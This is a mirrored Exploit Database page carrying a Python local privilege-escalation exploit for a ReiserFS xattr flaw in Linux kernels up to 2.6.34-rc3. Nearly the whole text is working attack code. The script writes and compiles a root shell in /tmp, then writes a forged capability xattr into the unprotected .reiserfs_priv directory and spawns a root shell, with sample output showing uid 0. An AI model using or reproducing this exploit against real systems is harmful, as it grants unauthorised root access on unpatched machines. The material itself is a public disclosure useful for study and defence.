ReiserFS (Linux Kernel 2.6.34-rc3 / RedHat / Ubuntu 9.10) – ‘xattr’ Local Privilege Escalation

• Exploit Database
• 33 阅读

• 作者： Jon Oberheide
  日期： 2010-04-09
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/12130/

• #!/usr/bin/env python
  
  ''' 
  team-edward.py
   
  Linux Kernel <= 2.6.34-rc3 ReiserFS xattr Privilege Escalation
  Jon Oberheide <jon@oberheide.org>
  http://jon.oberheide.org
  
  Information:
   
  https://bugzilla.redhat.com/show_bug.cgi?id=568041
  
  The kernel allows processes to access the internal ".reiserfs_priv"
  directory at the top of a reiserfs filesystem which is used to store 
  xattrs. Permissions are not enforced in that tree, so unprivileged 
  users can view and potentially modify the xattrs on arbitrary files.
  
  Usage:
   
  $ python team-edward.py
  [+] checking for reiserfs mount with user_xattr mount option
  [+] checking for private xattrs directory at /.reiserfs_priv/xattrs
  [+] preparing shell in /tmp
  [+] capturing pre-shell snapshot of private xattrs directory
  [+] compiling shell in /tmp
  [+] setting dummy xattr to get reiserfs object id
  [+] capturing post-shell snapshot of private xattrs directory
  [+] found 1 new object ids
  [+] setting cap_setuid/cap_setgid capabilities on object id 192B.1468
  [+] spawning setuid shell...
  # id
  uid=0(root) gid=0(root) groups=4(adm), ...
   
  Notes:
   
  Obviously requires a ReiserFS filesystem mounted with extended attributes.
  Tested on Ubuntu Jaunty 9.10.
  ''' 
  
  import os, sys
  
  SHELL = 'int main(void) { setgid(0); setuid(0); execl("/bin/sh", "sh", 0); }'
  XATTR = '\x41\x58\x46\x52\xc1\x00\x00\x02\x01\x00\x00\x02\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
  
  def err(txt):
  print '[-] error: %s' % txt
  sys.exit(1)
  
  def msg(txt):
  print '[+] %s' % txt
  
  def main():
  msg('checking for reiserfs mount with user_xattr mount option')
  
  f = open('/etc/fstab')
  for line in f:
  if 'reiserfs' in line and 'user_xattr' in line:
  break
  else:
  err('failed to find a reiserfs mount with user_xattr')
  f.close()
  
  msg('checking for private xattrs directory at /.reiserfs_priv/xattrs')
  
  if not os.path.exists('/.reiserfs_priv/xattrs'):
  err('failed to locate private xattrs directory')
  
  msg('preparing shell in /tmp')
  
  f = open('/tmp/team-edward.c', 'w')
  f.write(SHELL)
  f.close()
  
  msg('capturing pre-shell snapshot of private xattrs directory')
  
  pre = set(os.listdir('/.reiserfs_priv/xattrs'))
  
  msg('compiling shell in /tmp')
  
  ret = os.system('gcc -w /tmp/team-edward.c -o /tmp/team-edward')
  if ret != 0:
  err('error compiling shell, you need gcc')
  
  msg('setting dummy xattr to get reiserfs object id')
  
  os.system('setfattr -n "user.hax" -v "hax" /tmp/team-edward')
  if ret != 0:
  err('error setting xattr, you need setfattr')
  
  msg('capturing post-shell snapshot of private xattrs directory')
  
  post = set(os.listdir('/.reiserfs_priv/xattrs'))
  
  objs = post.difference(pre)
  
  msg('found %s new object ids' % len(objs))
  
  for obj in objs:
  msg('setting cap_setuid/cap_setgid capabilities on object id %s' % obj)
   
  f = open('/.reiserfs_priv/xattrs/%s/security.capability' % obj, 'w')
  f.write(XATTR)
  f.close()
  
  msg('spawning setuid shell...')
  
  os.system('/tmp/team-edward')
  
  if __name__ == '__main__':
  main()